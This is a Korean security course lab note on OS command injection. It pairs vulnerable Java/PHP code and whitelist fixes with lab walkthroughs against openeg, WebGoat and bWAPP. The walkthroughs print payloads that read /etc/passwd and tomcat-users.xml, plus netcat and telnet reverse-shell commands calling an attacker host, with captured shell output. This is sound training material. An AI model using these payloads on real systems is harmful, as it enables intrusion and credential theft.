[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합보안 과정
클라우드 기반 취약점 진단 및 대응 실무 #06
Command Injection = 운영체제 명령어 삽입
애플리케이션에 운영체제 명령어(=쉘 명령어)를 실행하는 기능이 존재하는 경우,
외부 입력값을 검증, 제한하지 않고 운영체제 명령어나 운영체제 명령어의 일부로 사용하는 경우 발생한다.
➞ 시스템 제어권를 탈취하여 해당 시스템을 공격자 마음대로 제어하게 된다.
외부 입력값을 검증하지 않고 사용
추가 명령어 실행에 사용되는 &, |, ; 등의 문자열 포함 여부를 확인하지 않고 사용
외부 입력값을 제한하지 않고 사용
내부 로직에서 사용할 수 있는 명령어 또는 명령어의 파라미터 값을 미리 정의하고 정의된 범위 내에서 사용되도록 하지 않는 경우
➞ 화이트 리스트 방식으로 제한하지 않는 경우
입력값 제한 방식
1. 화이트 리스트 방식 = 허용 목록 : 정의된 목록 범위 내의 값만 사용하도록 제한
➞ 새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전
2. 블랙 리스트 방식 = 제한 목록 : 정의된 목록의 값을 사용하지 않도록 제한
➞ 모집합의 규모가 크고, 변화가 심한 경우에 사용
[예시]
외부 입력값을 운영체제 명령어로 사용하는 경우
run.jsp
=========================================
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
개발자가 원했던 실행
⇒ run.jsp?cmd=ifconfig
➞ 서버의 네트워크 설정 정보를 반환
공격자가 조작한 실행
⇒ run.jsp?cmd=cat /etc/passwd
➞ 계정 정보 노출
⇒ run.jsp?cmd=ifconfig & cat /etc/passwd
➞ 의도하지 않은 추가 명령어 실행으로 계정 정보 노출
외부 입력값을 운영체제 명령어의 일부로 사용하는 경우
(명령어의 파라미터 or 추가 명령어 삽입)
view.jsp
===============================================
String file = request.getParameter("file");
Runtime.getRuntime().exec("cat " + file);
개발자가 원했던 실행
⇒ view.jsp?file=/data/upload/myfile.txt
➞ cat 명령어의 일부(파라미터)로 사용되어 /data/upload/ 아래의 myfile.txt 내용 반환
공격자가 조작한 실행
⇒ view.jsp?file=/etc/passwd
➞ 시스템 파일의 내용 반환
⇒ view.jsp?file=/data/dupload/myfile.txt & cat /etc/passwd
➞ 추가 명령어 실행을 통해 시스템 파일 내용을 반환
방어 기법
1. 불필요한 운영체제 명령어 실행을 제거한다.
- 운영체제 명령어 실행이 꼭 필요한지 여부를 확인하고 불필요한 경우 해당 기능을 제거하거나 다른 기능으로 대체한다.
- 운영체제 명령어 실행이 발생하지 않도록 설계한다.
2. 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한한다.
- 시스템 내부에서 사용할 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용되도록 제한한다.
3. 입력값에 추가 명령어 실행에 사용되는 &, |, ; 등의 문자가 포함되어 있는지 검증하고 사용한다.
4. 외부에서 시스템 내부 처리를 유추할 수 없도록 코드화한다.
[실습 예제]
#1
[ kali ] http://victim:8080/openeg 접속
- 선택창에서 선택 후 실행 버튼을 클릭하면 data 파라미터의 값으로 type 또는 dir이 서버로 전달된다.
- 출력되는 결과를 보면 명령 프롬프트에서 dir 명령을 실행한 것과 유사하다.
사용자 화면에서 선택한 값은 서버로 전달되어
command_test.do?data=dir
명령어 실행에 사용될 것으로 예상된다.
Runtime.exec("dir");
(실험1)
개발자 도구에서 HTML 편집 ⇒ <option value="dir"> ⇒ <option value="ipconfig"> 로 변경 후 실행
실행 결과, 네트워크 설정 정보가 출력된다.
따라서 사용자 화면에서 선택한 값은 서버 내부에서 검증, 제한 없이 운영체제 명령어 실행에 사용되고 있다.
= Command Injection 취약점 확인
(실험2)
추가 명령어 실행을 의미하는 &와 새로운 명령어를 함께 전달한다.
<option value="dir & whoami">
소스 코드 확인 (TestController.java)
@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
StringBuffer buffer = new StringBuffer();
// 요청 파라미터 data의 값을 추출
String data = request.getParameter("data");
// 요청 파라미터의 값이 type인 경우
파라미터 값을 "type 현재디렉터리\files\file1.txt"로 변경
if (data != null && data.equals("type")) {
data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
}
Process process;
String osName = System.getProperty("os.name");
String[] cmd;
if (osName.toLowerCase().startsWith("window")) {
// 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경
cmd = new String[] { "cmd.exe", "/c", data };
for (String s : cmd)
System.out.print(s + " ");
} else {
cmd = new String[] { "/bin/sh", data };
}
try { // 요청 파라미터로 전달된 값을 운영체제 명령어로 사용
process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in);
buffer.append("실행결과: <br/>");
while (s.hasNextLine() == true) {
buffer.append(s.nextLine() + "<br/>");
}
} catch (IOException e) {
buffer.append("실행오류발생");
e.printStackTrace();
}
return buffer.toString();
}
안전한 코드로 변경 (1)
// 해당 어플리케이션에서 사용할 명령어를 미리 정의
private final String[] allowedCommands = { "type", "dir" };
@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
StringBuffer buffer = new StringBuffer();
String data = request.getParameter("data");
// 요청 파라미터의 값이 미리 정의한 값의 범위에 포함되는지 확인
List<String> temp = new ArrayList(Arrays.asList(allowedCommands));
if (!temp.contains(data)) {
return "잘못된 입력입니다.";
}
if (data != null && data.equals("type")) {
data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
}
Process process;
String osName = System.getProperty("os.name");
String[] cmd;
if (osName.toLowerCase().startsWith("window")) {
cmd = new String[] { "cmd.exe", "/c", data };
for (String s : cmd)
System.out.print(s + " ");
} else {
cmd = new String[] { "/bin/sh", data };
}
try {
process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in);
buffer.append("실행결과: <br/>");
while (s.hasNextLine() == true) {
buffer.append(s.nextLine() + "<br/>");
}
} catch (IOException e) {
buffer.append("실행오류발생");
e.printStackTrace();
}
return buffer.toString();
}
서버 재가동 후 명령어를 조작해서 전달해본다.
➞ 정상적인 입력에는 동작하지만, 파라미터를 조작하면 '잘못된 입력입니다.' 메시지가 출력된다.
안전한 코드로 변경 (2) - 외부에서 전달되는 값이 시스템 내부에서 어떻게 사용되는지 모르도록 코드화
[취약 코드 확인]
[외부에서 내부 사용을 유추할 수 없도록 코드화]
<form action="command_test.do" id="form5">
<pre>
(4) Command 인젝션 <br />
<select name="data" id="data5">
<option value="0">--- show File1.txt ---</option>
<option value="1">--- show Dir ---</option>
</select>
<input type="button" id="button5" value="실행">
</pre>
</form>
[전달받은 코드를 사용하도록 서버 로직 수정]
// 해당 어플리케이션에서 사용할 명령어를 미리 정의
private final String[] allowedCommands = { "type", "dir" };
@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
StringBuffer buffer = new StringBuffer();
// 사용자가 선택한 코드가 전달
// ==> 0 또는 1이 전달
// ==> 미리 정의해 놓은 명령어를 참조하는 값(인덱스)로 사용
String data = request.getParameter("data");
// 사용자 화면에서 전달된 코드를 내부 처리에 사용할 명령어로 변환
// 화이트 리스트 방식으로 입력값을 제한함과 동시에 외부에서 내부 처리를 알 수 없도록 하는 것도 가능
try {
data = allowedCommands[Integer.parseInt(data)];
} catch (Exception e) {
// #1 사용자 화면에서 0 또는 1이 아닌 숫자가 전달되는 경우 (예: 100)
// 배열 값의 범위를 벗어나기 때문에 오류가 발생
// #2 사용자 화면에서 0 또는 1이 아닌 문자가 전달되는 경우 (예: ipconfig)
// 숫자로 변환하는 과정에서 오류가 발생
System.out.println(e.getMessage());
return "잘못된 입력입니다.";
}
if (data != null && data.equals("type")) {
data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
}
Process process;
String osName = System.getProperty("os.name");
String[] cmd;
if (osName.toLowerCase().startsWith("window")) {
cmd = new String[] { "cmd.exe", "/c", data };
for (String s : cmd)
System.out.print(s + " ");
} else {
cmd = new String[] { "/bin/sh", data };
}
try {
process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in);
buffer.append("실행결과: <br/>");
while (s.hasNextLine() == true) {
buffer.append(s.nextLine() + "<br/>");
}
} catch (IOException e) {
buffer.append("실행오류발생");
e.printStackTrace();
}
return buffer.toString();
}
입력값을 조작해서 요청을 전달해본다.
1)
2)
➞ 발견한 취약점을 모두 해결하였다.
(화이트 리스트 방식으로 입력값을 제한 & 외부에서 내부 처리를 알 수 없도록 코드화)
#2
[ WinXP ] http://victim:8080/WebGoat/attack 접속
사용자 화면의 입력 = 도움말: BasicAuthentication.help
서버 내부의 처리
cmd.exe /c type "C:\FullstackLAB\workspace\서버의경로\WebGoat\lesson_plans\English\BasicAuthentication.html"
(1) 운영체제 명령어 실행
(2) 운영체제 명령어(type)의 일부로 외부 입력값이 사용되고 있음
(3) 서버 내부에 어떤 형태로 저장되어 있는지 모르도록 처리
만약 외부 입력값을 검증, 제한하지 않고 명령어 실행에 그대로 사용한다면 추가 명령어 실행이 가능할 것이다.
(실험)
C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml 파일의 내용이 출력되도록 입력값을 변조
cmd.exe /c type "C:\FullstackLAB\workspace\서버의경로\WebGoat\lesson_plans\English\BasicAuthentication.html" & type "C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml"
“ : 원래 명령어의 실행을 종료
&: 이어서 실행
Burp Suite 실행 ➞ Intercept on ➞ 사용자 입력 선택/실행
& 기호를 URL 인코딩한 %26을 포함하여 추가 명령어를 삽입, 전달한다.
개발자 도구를 사용해서 입력값을 변조해 전달해도 동일하게 처리되는 것을 확인할 수 있다.
#3
[ BeeBox ] gedit을 실행한 후 /var/www/bWAPP/commandi.php 파일 열기
bee@bee-box:~$ sudo gedit /var/www/bWAPP/commandi.php
(PW: bug)
[ kali ] http://beebox/bWAPP 접속
[ beebox ] nslookup 명령어를 실행
bee@bee-box:~$ nslookup www.nsa.gov
// 웹 페이지를 통해서 요청한 결과와 동일한 내용이 출력되는 것을 확인
➞ 사용자 화면에서 전달한 값이 서버 내부에서 운영체제 명령어 실행에 사용되는 것을 추측할 수 있음
Server: 192.168.60.2
Address: 192.168.60.2#53
Non-authoritative answer:
www.nsa.gov canonical name = nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net.
Name: e16248.dscb.akamaiedge.net
Address: 104.76.91.166
입력값이 서버 내부로 전달되어 사용되기까지 검증, 제한하지 않는다면 추가적인 명령어를 전달하여 실행하고 결과를 확인하는 것이 가능할 것이다.
실험1) 웹 페이지에서 실행
(➞ 웹 페이지를 통해 여러 경우를 시도한 결과. 되는 것과 안되는 것이 있어 실행되는 것을 찾기 힘들고, 계속해서 실행 버튼을 누르며 수행이 번거롭다.)
DNS Lookup: www.nsa.gov | cat /etc/passwd
nslookup www.nsa.gov | cat /etc/passwd ⇐ 접근할 수 없는 경로의 시스템 파일 내용만 출력된다.
네트워크 설정 시
인바운드(밖>안) 포트는 특정 서비스 포트만 허용하는 반면에
아웃바운드(안>밖)는 일반적으로 대부분의 포트를 허용한다.
실험2) nc(netcat)을 이용한 리버스 커넥션
웹 페이지에 계속해서 실행버튼을 눌러가며 찾지 않아도
공격 서버를 실행한 명령 프롬프트에서 명령어만 입력하며 수월하게 확인 가능하다.
#1 [ Kali ] 에 서버를 실행
┌──(kali㉿kali)-[~]
└─$ nc -l -p 8282 ⇐ 8282로 무언가가 연결되길 기다린다.
#2 운영체제 명령어 삽입 취약점을 가지고 있는 웹 페이지에 아래와 같은 명령어를 입력, 전달한다
http://www.nsa.gov ; nc 공격자주소 포트번호 -e /bin/bash
주소와 포트번호로 연결 성공적으로 연결되었을 때 /bin/bash를 실행
#3 취약한 서버로 명령어를 전달 ⇒ beebox 서버에서 명령어가 실행되어 결과가 출력 ⇒ beebox 사용자는 알 수 없음
┌──(kali㉿kali)-[~]
└─$ nc -l -p 8282
whoami
www-data ⇐ beebox 서버의 사용자
pwd
/var/www/bWAPP ⇐ beebox 서비스 디렉터리 (웹 루트 디렉터리)
ls -al
total 1568 ⇐ 웹 루트 디렉터리 내용(디렉터리와 파일)
drwxrwxr-x 13 root www-data 12288 Dec 18 05:59 .
drwxrwxr-x 7 root www-data 4096 Nov 2 2014 ..
-rw-rw-r-- 1 root www-data 112 Nov 2 2014 666
drwxrwxr-x 2 root www-data 4096 Nov 2 2014 admin
-rw-rw-r-- 1 root www-data 2093 Nov 2 2014 aim.php
...(생략)...
-rw-rw-r-- 1 root www-data 5229 Nov 2 2014 xss_user_agent.php
-rw-rw-r-- 1 root www-data 5318 Nov 2 2014 xxe-1.php
-rw-rw-r-- 1 root www-data 2530 Nov 2 2014 xxe-2.php
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:96:94:ae brd ff:ff:ff:ff:ff:ff
inet 192.168.60.130/24 brd 192.168.60.255 scope global eth0 ⇐ beebox 서버의 IP 정보
inet6 fe80::20c:29ff:fe96:94ae/64 scope link
valid_lft forever preferred_lft forever
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash ⇐ beebox 서버의 사용자 정보
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
:
bee:x:1000:1000:bee,,,:/home/bee:/bin/bash
:
ftp:x:119:65534::/home/ftp:/bin/false
snmp:x:120:65534::/var/lib/snmp:/bin/false
ntp:x:121:131::/home/ntp:/bin/false
[ nc(netcat)을 이용한 리버스 커넥션 ]
(일반적으로 OS에 nc는 공격 위험이 있으므로 설치하지 않는 것이 관례이다.)
위와 같은 공격이 이루어지기 위해서는
1. 웹 어플리케이션에 OS Command Injection 취약점이 존재해야 한다.
2. 해당 웹 서버(beebox)에 nc 프로그램이 설치되어 있어야 한다.
➞ nc 프로그램이 설치되지 않은 웹 서버는 어떻게 공격을 할까?
➞ 서버 관리 목적으로 많이 사용하는 프로그램을 이용해서 공격을 시도한다.
➞ telnet
실험3) Telnet을 이용한 리버스 커넥션
↳ 그림에 shell이 하나이나, /bin/bash는 따로 존재한다
#1 [ Kali ] 에 두 개의 터미널을 열어서 서비스를 실행
┌──(kali㉿kali)-[~]
└─$ nc -l -p 8282
┌──(kali㉿kali)-[~]
└─$ nc -l -p 9292
#2 [ Kali ] OS Command Injection 취약점을 가진 페이지에 아래 명령어를 전달 실행
(이전 실습 이후 페이지 새로고침 하여 다시 진입)
www.nsa.gov | sleep 1000 | telnet attacker 8282 | /bin/bash | telnet attacker 9292
위 과정을 서술할 수 있어야 한다.
일반적인 애플리케이션에서는 운영체제 명령어가 실행될 일이 드물다 (DB 등과 인터렉션함.)
잘못 만들어졌거나 하는 경우 발생
[ beebox ] 소스 코드 확인
bee@bee-box:~$ sudo gedit /var/www/bWAPP/commandi.php
function commandi($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = commandi_check_1($data);
break;
case "2" :
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
... (생략) ...
if(isset($_POST["target"]))
{
$target = $_POST["target"]; ⇐ 사용자가 입력한 값.
정상적인 경우 도메인 주소가 전달
if($target == "")
{
echo "<font color=\"red\">Enter a domain name...</font>";
}
else
{
echo "<p align=\"left\"><pre>" . shell_exec("nslookup " . commandi($target)) . "</pre></p>";
}
}
?>
shell_exec("nslookup " . commandi($target))
(1) (2) 설정된 보안 등급에 맞춰서 입력값을 처리한 후 nslookup 명령어의 매개변수로 사용
↳ https://www.php.net/manual/en/function.shell-exec.php
쉘에서 nslookup 명령어를 실행하고 실행 결과를 반환
function_external.php 파일 내용 분석
bee@bee-box:~$ sudo gedit /var/www/bWAPP/function_external.php
function commandi_check_1($data)
{
$input = str_replace("&", "", $data); ⇐ 추가 명령어 실행에 사용되는 &와 ; 기호를 제거
$input = str_replace(";", "", $input);
return $input;
}
function commandi_check_2($data)
{
return escapeshellcmd($data); ⇐ https://www.php.net/manual/en/function.escapeshellcmd.php
} Escape shell metacharacters [가장 안전]
function commandi_check_3($data)
{
$input = str_replace("&", "", $data); ⇐ 추가 명령어 실행에 사용되는 &, ;, | 기호를 제거
$input = str_replace(";", "", $input);
$input = str_replace("|", "", $input);
return $input;
}